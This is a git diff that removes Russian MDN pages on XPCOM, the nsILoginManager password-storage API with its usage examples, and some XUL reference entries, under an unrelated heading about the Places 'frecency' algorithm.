The Places "frecency" algorithm
-
The algorithm behind the Places location bar (sometimes called the "awesomebar").
-
-
diff --git a/files/ru/mozilla/tech/xpcom/index.html b/files/ru/mozilla/tech/xpcom/index.html deleted file mode 100644 index 07687c0f82..0000000000 --- a/files/ru/mozilla/tech/xpcom/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: XPCOM -slug: Mozilla/Tech/XPCOM -tags: - - Landing - - Mozilla - - NeedsTranslation - - TopicStub - - XPCOM -translation_of: Mozilla/Tech/XPCOM ---- -

XPCOM is a cross platform component object model, similar to Microsoft COM. It has multiple language bindings, allowing XPCOM components to be used and implemented in JavaScript, Java, and Python in addition to C++. Interfaces in XPCOM are defined in a dialect of IDL called XPIDL.

- -
-

XPCOM is no longer available for use by Firefox extensions. Use WebExtensions instead.

-
- -

XPCOM itself provides a set of core components and classes, e.g. file and memory management, threads, basic data structures (strings, arrays, variants), etc. The majority of XPCOM components are not part of this core set and are provided by other parts of the platform (e.g. Gecko or Necko) or by an application or even by an extension.

- -
-
Accessing the Windows Registry Using XPCOM
When implementing Windows-specific functionality, it is often useful to access the Windows registry for information about the environment or other installed programs. To this end, there exist XPCOM interfaces to read and write registry data. This article will show you how to use the available interfaces in several Mozilla products.
Aggregating the In-Memory Datasource
already_AddRefed
already_AddRefed in association with nsCOMPtr allows you to assign in a pointer without AddRefing it.
Binary compatibility
If Mozilla decides to upgrade to a compiler that does not have the same ABI as the current version, any built component may fail. It is a possiblity that is introduced when upgrading to a new compiler without recompiling everything. Effectively, it is a different platform.
Bundling multiple binary components
Binary XPCOM components are sometimes required to implement low-level features for extensions. Since binary components are linked against a single Gecko SDK, a dependency to a particular version of Gecko is created. If the component uses only "frozen" XPCOM interfaces, there is a good chance the same binary component will work with different versions of Gecko (version 1.8 and 1.9, for example). The more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between Gecko versions. This can create a difficult situation for extension developers trying to support multiple Gecko versions (Firefox 2 and 3, for example).
Creating a Python XPCOM component
Creating Applications with Mozilla already provides a tutorial for making a simple JavaScript or C++ component (implementing the nsISimple interface). Here is how to make the same component in Python using PyXPCOM.
Fun With XBL and XPConnect
Generating GUIDs
GUIDs are used in Mozilla programming for identifying several types of entities, including XPCOM Interfaces (this type of GUIDs is callled IID), components (CID), and legacy add-ons—like extensions and themes—that were created prior to Firefox 1.5. Add-ons can (and should) be identified with IDs of the form extensionname@organization.tld since Firefox 1.5.
Generic factory
Most XPCOM factories can be very simple. Rick Potts wrote a templated-based generic factory (nsFactory<t>) that simplifies the factory creation process that just requires writing a CreateInstance() method. The new nsIGenericFactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsIFactory is needed. Here is the interface, and a description of its use.</t>
How to build a binary XPCOM component using Visual Studio
This is a simple tutorial for building XPCOM objects in C++ using Visual Studio. XPCOM is Mozilla’s cross platform component object model, similar to Microsoft’s COM technology. XPCOM components can be implemented in C, C++, and JavaScript, and can be used from C, C++, and JavaScript. That means you can call JavaScript methods from C++ and vice versa. For more information on the workings of XPCOM look elsewhere.
How To Pass an XPCOM Object to a New Window
If you want to be able to call functions within an XPCOM object from a XUL window's code, you can do so if you pass the XPCOM object as one of the arguments to the window creation method.
Interfacing with the XPCOM cycle collector
This is a quick overview of the cycle collector introduced into XPCOM for Firefox 3, including a description of the steps involved in modifying an existing C++ class to participate in XPCOM cycle collection. If you have a class that you think is involved in a cyclical-ownership leak, this page is for you.
Introduction to XPCOM for the DOM
Warning: this document has not yet been reviewed by the DOM gurus, it might contain some errors.
Language bindings
An XPCOM Language Binding is a bridge between a particular language and XPCOM to provide access to XPCOM objects from that language, and to let modules written in that language be used as XPCOM objects by all other languages for which there are XPCOM bindings.
Monitoring HTTP activity
Gecko includes the nsIHttpActivityObserver interface, which you can implement in your code to monitor HTTP transactions in real time, receiving a callback as the transactions take place.
nsCOMPtr versus RefPtr
Gecko code uses both nsCOMPtr and RefPtr as smart pointers. This guide provides some explanation and advice on how to choose between them.
Observer Notifications
The following are topics that you can observe during the course of an application. Unless otherwise noted you register for the topics using the nsIObserverService.
Setting HTTP request headers
HTTP is one of the core technologies behind the Web. In addition to the actual content, some important information is passed with HTTP headers for both HTTP requests and responses.
Storage
Storage is a SQLite database API. It is available to trusted callers, meaning extensions and Firefox components only.
The Thread Manager
The Thread Manager, introduced in Firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them for processing.
-
Troubleshooting XPCOM components registration
Often the first time you create an XPCOM component, it may fail to register correctly.
Using nsCOMPtr
This document is the sum total of everything written down about nsCOMPtr. If you have a question about nsCOMPtr, and this document doesn't answer it, there probably isn't a document that answers it. You'll have to turn to the XPCOM newsgroup or another experienced nsCOMPtr user, or find the answer by experimentation.
Using nsIClassInfo
If you use a C++ class which implements nsIClassInfo from JavaScript, then you don't have to explicitly call QueryInterface on the JavaScript object to access the object's interfaces.
Using nsIDirectoryService
nsDirectoryService implements the nsIProperties interface. This implementation will allow you to Get(), Set(), Define(), and Undefine() nsIFile.
Using nsIPasswordManager
Technical review completed.
Using nsISimpleEnumerator
Using the clipboard
This section provides information about cutting, copying, and pasting to and from the clipboard.
Using the Gecko SDK
Weak reference
In XPCOM, a weak reference is a special object that contains a pointer to an XPCOM object, but doesnot keep that object alive. If the referent object is destroyed before the weak reference, the pointer inside the weak reference is set to nsnull.
Working with Multiple Versions of Interfaces
In this short note we illustrate how one can update an XPCOM module in -order for it to work in both Firefox 2 and Firefox 3, even if the interfaces have -changed in the interim.
Working with out parameters
wrappedJSObject
wrappedJSObject is a property sometimes available on XPConnect wrappers. When available, it lets you access the JavaScript object hidden by the wrapper.
XPCOM ABI
XPCOM ABI is the binary interface of XPCOM components. While XPCOM components written in a scripting language (such as JavaScript) can be moved across platforms (such as Windows and OS X) without adaptation, those written in a compiled language (such as C++) require recompilation when moving to a different platform. Often, compiled XPCOM components are called 'binary' or 'native'.
XPCOM category image-sniffing-services
In versions of Firefox prior to Firefox 3, extensions could add decoders for new image types. However, such decoders relied on servers sending correct MIME types; images sent with incorrect MIME types would not be correctly displayed.
XPCOM glue
The XPCOM Glue is a static library which component developers and embedders can link against. It allows developers to link only against the frozen XPCOM method symbols and maintain compatibility with multiple versions of XPCOM.
XPCOM guide
These articles provide tutorials and usage documentation for XPCOM, including how to use it in your own projects and how to build XPCOM components for your Firefox add-ons and the like.
XPCOM ownership guidelines
...naturally. If you create a temporary object, obviously it's up to you to destroy it. That's a sure sign of ownership. If you create an object with a longer lifespan, you will own it until you give ownership away.
XPCOM reference
This reference describes the interfaces and functions provided by the XPCOM library. In addition, it details the various helper classes and functions, as well as the components, provided by the XPCOM glue library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.
XPCOM tasks
The XPCOM module roughly parallels the C/C++ standard libraries. It overlaps them significantly, but goes beyond them in capabilities. XPCOM sits above the standard libraries. Its role is to extend them with facilities tailored to XPCOM development in general, and specifically the needs of Mozilla. Like the standard libraries, XPCOM must be a fairly self-contained library, so as not to encumber clients with any unnecessary external dependencies.
XPCOM Thread Synchronization
XPCOM thread synchronization primitives have the same semantics as those in NSPR, and each method of these synchronization objects (e.g. Mutex::Lock()) has a matching function in NSPR (PR_Lock()). This is no accident, as mozilla:: primitives are merely bare-minimum wrappers around NSPR's.
xptcall FAQ
xptcall is a small low level XPCOM method call library. It is implemented using platform specific C/C++ and assembly language code. It is used to facilitate cross language and cross thread method calls. Porting this code is required in order to make Mozilla run on any given platform.
Xptcall Porting Guide
Original Author: John Bandhauer, 31 May 1999.
Xptcall Porting Status
This is a status page for the multiplatform porting of xptcall. xptcall has a FAQ and a Porting Guide.
-
- -
- -
-

Join the XPCOM community

-
-
Choose your preferred method for joining the discussion:
- -
- -
-
- - diff --git a/files/ru/mozilla/tech/xpcom/reference/index.html b/files/ru/mozilla/tech/xpcom/reference/index.html deleted file mode 100644 index 7724292115..0000000000 --- a/files/ru/mozilla/tech/xpcom/reference/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: XPCOM reference -slug: Mozilla/Tech/XPCOM/Reference -tags: - - Landing - - Mozilla - - NeedsTranslation - - Reference - - TopicStub - - XPCOM -translation_of: Mozilla/Tech/XPCOM/Reference ---- -

This reference describes the interfaces and functions provided by the XPCOM library. In addition, it details the various helper classes and functions, as well as the components, provided by the XPCOM glue library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.

-
-

Note: If you're working on a module in the Mozilla codebase that's compiled with the MOZILLA_INTERNAL_API flag set, some of these APIs -- the string functions and classes in particular -- are not the ones you should be using. See the XPCOM internal string guide for documentation of the internal string API used within the Mozilla codebase.

-
-

-
-
XPCOM Interface Reference
This is a reference to the XPCOM interfaces provided by the Mozilla platform.
-

-

Many XPCOM pages return an nsresult. Prior to Gecko 19 (Firefox 19 / Thunderbird 19 / SeaMonkey 2.16), this was an integer that simply returned an error code. It is now a strongly typed enum when XPCOM is built using a C++11 compiler. This causes compile-time errors to occur when improper values are returned as nsresult values, thereby making it easier to catch many bugs.

diff --git a/files/ru/mozilla/tech/xpcom/reference/interface/index.html b/files/ru/mozilla/tech/xpcom/reference/interface/index.html deleted file mode 100644 index 61f0ae4fca..0000000000 --- a/files/ru/mozilla/tech/xpcom/reference/interface/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: XPCOM Interface Reference -slug: Mozilla/Tech/XPCOM/Reference/Interface -tags: - - NeedsTranslation - - TopicStub - - XPCOM - - XPCOM Interface Reference -translation_of: Mozilla/Tech/XPCOM/Reference/Interface ---- -

This is a reference to the XPCOM interfaces provided by the Mozilla platform.

- -

See also

- diff --git a/files/ru/mozilla/tech/xpcom/reference/interface/nsidomhtmlmediaelement/index.html b/files/ru/mozilla/tech/xpcom/reference/interface/nsidomhtmlmediaelement/index.html deleted file mode 100644 index 90109df203..0000000000 --- a/files/ru/mozilla/tech/xpcom/reference/interface/nsidomhtmlmediaelement/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: nsIDOMHTMLMediaElement -slug: Mozilla/Tech/XPCOM/Reference/Interface/NsIDOMHTMLMediaElement -translation_of: Web/API/DOMMatrixReadOnly/translate ---- -
-
-
dom/interfaces/html/nsIDOMHTMLMediaElement.idlScriptable
-The basis for the nsIDOMHTMLAudioElement and nsIDOMHTMLVideoElement interfaces, which in turn implement the <audio> and <video> HTML5 elements. - -
-
1.0
- -
67
- -
- -
- -
Introduced
- -
Gecko 1.9.1
-
- -
Inherits from: nsIDOMHTMLElement Last changed in Gecko 1.1
-
-
- -
The nsIDOMHTMLMediaElement interface implements the DOM HTMLMediaElement interface. See that page for details.
diff --git a/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html b/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html deleted file mode 100644 index 8fe801e95f..0000000000 --- a/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html +++ /dev/null @@ -1,372 +0,0 @@ ---- -title: nsILoginManager -slug: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager -tags: - - Firefox 3 - - Interfaces - - 'Interfaces:Scriptable' - - Login Manager - - NeedsTranslation - - Thunderbird 3 - - TopicStub - - XPCOM - - XPCOM API Reference - - thunderbird -translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager ---- -

-
toolkit/components/passwordmgr/public/nsILoginManager.idlСо скриптами
- - -Used to interface with the built-in Password Manager - - -
- -
1.0
- -
66
- -
- -
- -
Introduced
-
Gecko 1.9
- -
- -
- -
-Наследуется из: nsISupports -Последнее изменение в Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0)
-

-

Replaces nsIPasswordManager which was used in older versions of Gecko.

-

Implemented by: @mozilla.org/login-manager;1. To create an instance, use:

-
var loginManager = Components.classes["@mozilla.org/login-manager;1"]
-                   .getService(Components.interfaces.nsILoginManager);
-
-

Method overview

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
void addLogin(in nsILoginInfo aLogin);
nsIAutoCompleteResult autoCompleteSearch(in AString aSearchString, in nsIAutoCompleteResult aPreviousResult, in nsIDOMHTMLInputElement aElement);
unsigned long countLogins(in AString aHostname, in AString aActionURL, in AString aHttpRealm);
boolean fillForm(in nsIDOMHTMLFormElement aForm);
void findLogins(out unsigned long count, in AString aHostname, in AString aActionURL, in AString aHttpRealm, [retval, array, size_is(count)] out nsILoginInfo logins);
void getAllDisabledHosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames);
void getAllLogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsILoginInfo logins);
boolean getLoginSavingEnabled(in AString aHost);
void modifyLogin(in nsILoginInfo oldLogin, in nsISupports newLoginData);
void removeAllLogins();
void removeLogin(in nsILoginInfo aLogin);
void searchLogins(out unsigned long count, in nsIPropertyBag matchData, [retval, array, size_is(count)] out nsILoginInfo logins);
void setLoginSavingEnabled(in AString aHost, in boolean isEnabled);
-

Methods

-

addLogin()

-

Stores a new login in the Login Manager.

-

Примечание: Default values for the nsILoginMetaInfo properties are created if the specified login doesn't explicitly specify them.

-
void addLogin(
-  in nsILoginInfo aLogin
-);
-
-
Parameters
-
-
- aLogin
-
- The login to store.
-
-
Exceptions thrown
-
-
-  
-
- An exception is thrown if the login information is already stored in the Login Manager. To change a login, you have to use modifyLogin().
-
-

autoCompleteSearch()

-

Generates results for a user field autocomplete menu.

-

Примечание: This method is provided for use only by the FormFillController, which calls it directly. It should not be used for any other purpose.

-
nsIAutoCompleteResult autoCompleteSearch(
-  in AString aSearchString,
-  in nsIAutoCompleteResult aPreviousResult,
-  in nsIDOMHTMLInputElement aElement
-);
-
-
Parameters
-
-
- aSearchString
-
- Missing Description
-
- aPreviousResult
-
- Missing Description
-
- aElement
-
- Missing Description
-
-
Return value
-

Missing Description

-

countLogins()

-

Returns the number of logins matching the specified criteria. Called when only the number of logins is needed, and not the actual logins (which avoids prompting the user for a Master Password, as the logins don't need to be decrypted).

-
unsigned long countLogins(
-  in AString aHostname,
-  in AString aActionURL,
-  in AString aHttpRealm
-);
-
-
Parameters
-
-
- aHostname
-
- The hostname to which to restrict searches, formatted as a URL. For example, "http://www.bar.com". To match all hostnames, specify "" (empty string). A value of null will cause countLogins() to not match any logins.
-
- aActionURL
-
- For form logins, this parameter should specify the URL to which the form will be submitted. To match any form login, specify "" (empty string). To not match any form logins (For example when interested in protocol logins only), specify null.
-
- aHttpRealm
-
- For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see RFC 2617). To match any protocol login, specify "" (empty string). To not match any protocol logins (For example when interested in form logins only), specify null.
-
-
Return value
-

The number of logins matching the parameters passed.

-

fillForm()

-

Fills out a form with login information, if appropriate information is available.

-

Примечание: This method will attempt to fill out the form regardless of the setting of the signon.autofillForms preference.

-
boolean fillForm(
-  in nsIDOMHTMLFormElement aForm
-);
-
-
Parameters
-
-
- aForm
-
- The HTMLform to attempt to fill out.
-
-
Return value
-

true if the form was successfully filled out; otherwise false.

-

findLogins()

-

Searches for logins matching the specified criteria. Called when looking for logins that might be applicable to a given form or authentication request.

-
void findLogins(
-  out unsigned long count,
-  in AString aHostname,
-  in AString aActionURL,
-  in AString aHttpRealm,
-  [retval, array, size_is(count)] out nsILoginInfo logins
-);
-
-
Parameters
-
-
- count
-
- The number of elements in the returned array. JavaScript callers can simply use the array's length property and supply a dummy argument for this parameter.
-
- aHostname
-
- The hostname to restrict searches to, formatted as a URL. For example, "http://www.bar.com".
-
- aActionURL
-
- For form logins, this parameter should specify the URL to which the form will be submitted. For protocol logins, specify null. An empty string ("") will match any value (except null).
-
- aHttpRealm
-
- For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see RFC 2617). For form logins, this parameter should be null. An empty string ("") will match any value (except null).
-
- logins
-
- An array of nsILoginInfo objects.
-
-
Example
-

This method can be called from JavaScript like this:

-
 var logins = myLoginMgr.findLogins({}, hostname, ...);
-
-

getAllDisabledHosts()

-

Returns a list of all hosts for which login saving is disabled.

-
void getAllDisabledHosts(
-  [optional] out unsigned long count,
-  [retval, array, size_is(count)] out wstring hostnames
-);
-
-
Parameters
-
-
- count
-
- The number of elements in the returned array. JavaScript callers can simply use the array's length property and supply a dummy argument for this parameter.
-
- hostnames
-
- An array of hostname strings in URL format without a pathname. For example: "https://www.site.com".
-
-
Example
-

You can call this method from JavaScript like this:

-
 var disabledHosts = myLoginMgr.getAllDisabledHosts({});
-
-

getAllLogins()

-

Returns an array containing all logins recorded by the Login Manager.

-

If you just want to see if any logins are stored, use countLogins() instead. It's more efficient, and avoids the possibility of the user being prompted for their master password.

-
void getAllLogins(
-  [optional] out unsigned long count,
-  [retval, array, size_is(count)] out nsILoginInfo logins
-);
-
-
Parameters
-
-
- count
-
- The number of elements in the returned array. JavaScript callers can simply use the array's length property and supply a dummy argument for this parameter.
-
- logins
-
- An array of nsILoginInfo objects containing all the logins the Login Manager has on record.
-
-
Example
-

You can call this method from JavaScript like this:

-
 var logins = myLoginMgr.getAllLogins({});
-
-

getLoginSavingEnabled()

-

Reports whether or not saving login information is enabled for a host.

-
boolean getLoginSavingEnabled(
-  in AString aHost
-);
-
-
Parameters
-
-
- aHost
-
- The hostname to check. This argument should be in the origin URL format, with no pathname. For example: "https://www.site.com".
-
-
Return value
-

true if login saving is enabled for the host, otherwise false.

-

modifyLogin()

-

Modifies an existing login by replacing it with a new one.

-

If newLoginData is a nsILoginInfo, all of the old login's nsILoginInfo properties are changed to the values from newLoginData (but the old login's nsILoginMetaInfo properties are unmodified).

-

If newLoginData is a nsIPropertyBag, only the specified properties will be changed. The nsILoginMetaInfo properties of oldLogin can be changed in this manner.

-

If the propertybag contains an item named "timesUsedIncrement", the login's timesUsed property will be incremented by the item's value.

-
void modifyLogin(
-  in nsILoginInfo oldLogin,
-  in nsISupports newLoginData
-);
-
-
Parameters
-
-
- oldLogin
-
- The login to be modified.
-
- newLoginData
-
- The login information to replace the oldLogin with. This may be specified as either an nsILoginInfo or an nsIPropertyBag2 object.
-
-

removeAllLogins()

-

Removes all logins known by the Login Manager. This works without a need for the master password, if one is set.

-
void removeAllLogins();
-
-
Parameters
-

None.

-

removeLogin()

-

Removes a login from the Login Manager.

-

Примечание: The specified login must exactly match a stored login. However, the values of any nsILoginMetaInfo properties are ignored.

-
void removeLogin(
-  in nsILoginInfo aLogin
-);
-
-
Parameters
-
-
- aLogin
-
- The login to remove from the Login Manager. Only a login that is an exact match is deleted.
-
-

searchLogins()

-

Searches for logins in the login manager's data store, returning an array of matching logins. If there are no matching logins, an empty array is returned.

-
void searchLogins(
-  out unsigned long count,
-  in nsIPropertyBag matchData,
-  [retval, array, size_is(count)] out nsILoginInfo logins
-);
-
-
Parameters
-
-
- count
-
- The number of elements in the returned array.
-
- matchData
-
- The data used for the search. This does not follow the same requirements as findLogins() for those fields; wildcard matches are not specified.
-
- logins
-
- An array of matching nsILoginInfo objects.
-
-
Example
-

This method can be called from JavaScript like this:

-
 var logins = myLoginMgr.searchLogins({}, matchData);
- var numLogins = logins.length;
-
-

setLoginSavingEnabled()

-

Enables or disables storing logins for a specified host. When login storing is disabled, the Login Manager won't prompt the user to store logins for that host. Existing logins are not affected.

-
void setLoginSavingEnabled(
-  in AString aHost,
-  in boolean isEnabled
-);
-
-
Parameters
-
-
- aHost
-
- The hostname to adjust the setting for. This argument should be in the origin URL format, with no pathname. For example: "https://www.site.com".
-
- isEnabled
-
- If true, login saving is enabled for the specified host. If false, login saving is disabled.
-
-

See also

- -

diff --git a/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/using_nsiloginmanager/index.html b/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/using_nsiloginmanager/index.html deleted file mode 100644 index 16c2c5a029..0000000000 --- a/files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/using_nsiloginmanager/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Using nsILoginManager -slug: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager/Using_nsILoginManager -translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager/Using_nsILoginManager ---- -
-
-

Working with the Login Manager

-

Extensions often need to securely store passwords to external sites, web applications, and so on. To do so securely, they can use nsILoginManager, which provides for secure storage of sensitive password information and nsILoginInfo, which provides a way of storing login information.

-

Getting nsILoginManager

-

To get a component implementing nsILoginManager, use the following:

-
-
var passwordManager = Components.classes["@mozilla.org/login-manager;1"].getService(
-	Components.interfaces.nsILoginManager
-);
-
-

Most Login Manager functions take an nsILoginInfo object as a parameter. An nsILoginInfo object contains the following attributes: hostname, form submit URL, HTTP realm, username, username field, password, and password field. The hostname, username and password attributes are mandatory, while the other fields are set based on whether the login is for a web page form or an HTTP/FTP authentication site login. See the nsILoginInfo attribute definitions for more details. Defining an nsILoginInfo object is simple:

-
-
var nsLoginInfo = new Components.Constructor(
-	"@mozilla.org/login-manager/loginInfo;1",
-	Components.interfaces.nsILoginInfo,
-	"init"
-);
-
-var loginInfo = new nsLoginInfo(
-	hostname, formSubmitURL, httprealm, username, password, usernameField, passwordField
-);
-
-
-

Examples

-

Creating a login for a web page

-
var formLoginInfo = new nsLoginInfo(
-	'http://www.example.com',
-	'http://login.example.com',
-	null,
-	'joe',
-	'SeCrEt123',
-	'uname',
-	'pword'
-);
-

This login would correspond to a HTML form such as:

-
<form action="http://login.example.com/foo/authenticate.cgi">
-	<div>Please log in.</div>
-	<label>Username:</label> <input type="text" name="uname">
-	<label>Password:</label> <input type="password" name="pword">
-</form>
-
-

Creating a site authentication login

-
var authLoginInfo = new nsLoginInfo(
-	'http://www.example.com',
-	null,
-	'ExampleCo Login',
-	'alice',
-	'SeCrEt321',
-	"",
-	""
-);
-
-

This would correspond to a login on http://www.example.com when the server sends a reply such as:

-
 HTTP/1.0 401 Authorization Required
- Server: Apache/1.3.27
- WWW-Authenticate: Basic realm="ExampleCo Login"
-
-
-

Creating a local extension login

-
var extLoginInfo = new nsLoginInfo(
-	'chrome://firefoo',
-	null,
-	'User Registration',
-	'bob',
-	'123sEcReT',
-	"",
-	""
-);
-

From a component creating a new info block is done slightly differently:

-
var nsLoginInfo = new Components.Constructor("@mozilla.org/login-manager/loginInfo;1", Ci.nsILoginInfo, "init");
-var extLoginInfo = new nsLoginInfo('chrome://firefoo', null, 'User Registration', 'bob', '123sEcReT', '', '');
-//var extLoginInfo = new nsLoginInfo(aHostname, aFormSubmitURL, aHttpRealm, aUsername, aPassword, aUsernameField, aPasswordField)
-
-

The Login Manager treats this as if it was a web site login. You should use your extension's chrome:// URL to prevent conflicts with other extensions, and a realm string which briefly denotes the login's purpose.

-

Storing a password

-

To store a password in the Login Manager, you first need to create an nsILoginInfo object as defined above. Then you simply need to call the nsILoginManager method addLogin().

-
myLoginManager.addLogin(loginInfo);
-
-

Примечание: This will throw an exception if both the httprealm and formSubmitURL parameters are NULL. One must be specified when storing a password. The hostname, username and password parameters are also mandatory.

-

Retrieving a password

-

Retrieving a password from the Login Manager is slightly more difficult. In order to locate a password, the hostname, formSubmitURL and httprealm must match exactly what is stored for the password to be found. The only exception is that if the stored formSubmitURL is blank, in which case the formSubmitURL parameter is ignored. Note that the hostname and formSubmitURL arguments should not include the path from the full URL. The example below should serve as a starting point for matching form logins:

-
var hostname = 'http://www.example.com';
-var formSubmitURL = 'http://www.example.com';  // not http://www.example.com/foo/auth.cgi
-var httprealm = null;
-var username = 'user';
-var password;
-
-try {
-	// Get Login Manager
-	var myLoginManager = Components.classes["@mozilla.org/login-manager;1"].
-		getService(Components.interfaces.nsILoginManager);
-
-	// Find users for the given parameters
-	var logins = myLoginManager.findLogins({}, hostname, formSubmitURL, httprealm);
-
-	// Find user from returned array of nsILoginInfo objects
-	for (var i = 0; i < logins.length; i++) {
-		if (logins[i].username == username) {
-			password = logins[i].password;
-			break;
-		}
-	}
-}
-
-catch(ex) {
-	// This will only happen if there is no nsILoginManager component class
-}
-

Note that the user will be prompted for their master password if they have chosen to set one to secure their passwords.

-

Removing a password

-

Removing a password is simple:

-
myLoginManager.removeLogin(loginInfo);
-
-

When removing a password the specified nsILoginInfo object must exactly match what was stored or an exception will be thrown. This includes the password attribute. Here's an example on how to remove the password without actually knowing what the password is:

-
// example values
-var hostname = 'http://www.example.com';
-var formSubmitURL = 'http://www.example.com';
-var httprealm = null;
-var username = 'user';
-
-try {
-	// Get Login Manager
-	var passwordManager = Components.classes["@mozilla.org/login-manager;1"].
-		getService(Components.interfaces.nsILoginManager);
-
-	// Find users for this extension
-	var logins = passwordManager.findLogins({}, hostname, formSubmitURL, httprealm);
-
-	for (var i = 0; i < logins.length; i++) {
-		if (logins[i].username == username) {
-			passwordManager.removeLogin(logins[i]);
-			break;
-		}
-	}
-}
-catch(ex) {
-	// This will only happen if there is no nsILoginManager component class
-}
-

Changing stored login information

-

Changing a password is rather simple. Since all this does is make a removeLogin() call followed by an addLogin() call, it has the same caveats as both of them: namely that the oldLogin must match an existing login exactly (see above) and that the newLogin attributes must be set correctly.:

-
myLoginManager.modifyLogin(oldLogin, newLogin);
-

Login Manager notifications

-

-

Замечание по Firefox 3.5

-

The Login Manager notifications were added in Firefox 3.5.

-

-

Firefox 3.5 and later send assorted notifications when various Login Manager related events occur, including when form autofill does not occur for various reasons, as well as when changes are made to the Login Manager's database. See the Login Manager section of the article on observer notifications for details.

-

Debugging

-

The login manager implementation has the ability to send debug messages to the Error Console, which can provide some visibility into what it's doing. To enable the debug logging, see http://wiki.mozilla.org/Firefox:Pass...ager_Debugging.

-

Supporting older versions of Gecko

-

If you want your extension to support both Gecko 1.9 (Firefox 3, Thunderbird 3, SeaMonkey 2) and older versions it will need to implement both the nsILoginManager and nsIPasswordManager components. A simple method to do this is as follows:

-
if ("@mozilla.org/passwordmanager;1" in Components.classes) {
-	// Password Manager exists so this is not Firefox 3 (could be Firefox 2, Netscape, SeaMonkey, etc).
-	// Password Manager code
-} else if ("@mozilla.org/login-manager;1" in Components.classes) {
-	// Login Manager exists so this is Firefox 3
-	// Login Manager code
-}
-

See also

- diff --git a/files/ru/mozilla/tech/xul/action/index.html b/files/ru/mozilla/tech/xul/action/index.html deleted file mode 100644 index 3f4ec0f4de..0000000000 --- a/files/ru/mozilla/tech/xul/action/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: action -slug: Mozilla/Tech/XUL/action -tags: - - XUL Elements - - XUL ссылки -translation_of: Archive/Mozilla/XUL/action ---- - - -
Действие должно содержаться в query или rule элементе. Используется для указания содержимого,  генерируемого для каждого совпадающего узла. Внутри action, атрибуты анализируются и выявляются uri, ссылки на ресурсы и переменные.
- -

Дополнительная информация доступна в -руководстве по XUL.
- Зарубежный источник: Actions.

- -

Примеры

- -
 пример использования
-
-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
-         ref="http://www.xulplanet.com/rdf/A">
-  <template>
-    <query>
-      <content uri="?start"/>
-      <triple subject="?start"
-              predicate="http://www.xulplanet.com/rdf/relatedItem"
-              object="?relateditem"/>
-    </query>
-    <action>
-      <button uri="?relateditem" label="?relateditem"/>
-    </action>
-  </template>
-</vbox>
- -

Атрибуты

- -

- - - - - -

Наследуется с XUL элемента
-align, -allowevents, -allownegativeassertions, -class, -coalesceduplicatearcs, -collapsed, -container, -containment, -context, -contextmenu, -datasources, -dir, -empty, -equalsize, -flags, -flex, -height, -hidden, -id, -insertafter, -insertbefore, -left, -maxheight, -maxwidth, -menu, -minheight, -minwidth, -mousethrough, -observes, -ordinal, -orient, -pack, -persist, -popup, -position, -preference-editable, -querytype, -ref, -removeelement, -sortDirection, -sortResource, -sortResource2, -statustext, -style, -template, -tooltip, -tooltiptext, -top, -uri, -wait-cursor, -width

-

- -

Свойства

- -

-

Наследуемые свойства
align, , allowEvents, , boxObject, builder, , , , className, , , , , collapsed, contextMenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxHeight, maxWidth, menu, minHeight, minWidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statusText, style, ,, tooltip, tooltipText, top, width

- -

Методы

- -

-

Inherited Methods
addEventListener(), appendChild(), blur, click, cloneNode(), compareDocumentPosition, dispatchEvent(), doCommand, focus, getAttribute(), getAttributeNode(), getAttributeNodeNS(), getAttributeNS(), getBoundingClientRect(), getClientRects(), getElementsByAttribute, getElementsByAttributeNS, getElementsByClassName(), getElementsByTagName(), getElementsByTagNameNS(), getFeature, getUserData, hasAttribute(), hasAttributeNS(), hasAttributes(), hasChildNodes(), insertBefore(), isDefaultNamespace(), isEqualNode, isSameNode, isSupported(), lookupNamespaceURI, lookupPrefix, normalize(), querySelector(), querySelectorAll(), removeAttribute(), removeAttributeNode(), removeAttributeNS(), removeChild(), removeEventListener(), replaceChild(), setAttribute(), setAttributeNode(), setAttributeNodeNS(), setAttributeNS(), setUserData

- -

См. также

- -

diff --git a/files/ru/mozilla/tech/xul/attribute/disabled/index.html b/files/ru/mozilla/tech/xul/attribute/disabled/index.html deleted file mode 100644 index aa8ff7ebb9..0000000000 --- a/files/ru/mozilla/tech/xul/attribute/disabled/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: disabled -slug: Mozilla/Tech/XUL/Attribute/disabled -tags: - - XUL Attributes - - XUL Reference -translation_of: Archive/Mozilla/XUL/Attribute/disabled ---- - -
-
- disabled
-
- Тип: булево
-
-  Указывает, отключен ли элемент или нет. В случае, если элемент имеет значение true, он отключается. Отключенные элементы имеют, как правило, так называемый "затенённый" цветовой эффект. Если элемент отключен, он не будет отвечать на какие-либо действия пользователя, он не может быть выбран, и событие command в этом случае не вызывается. -
-
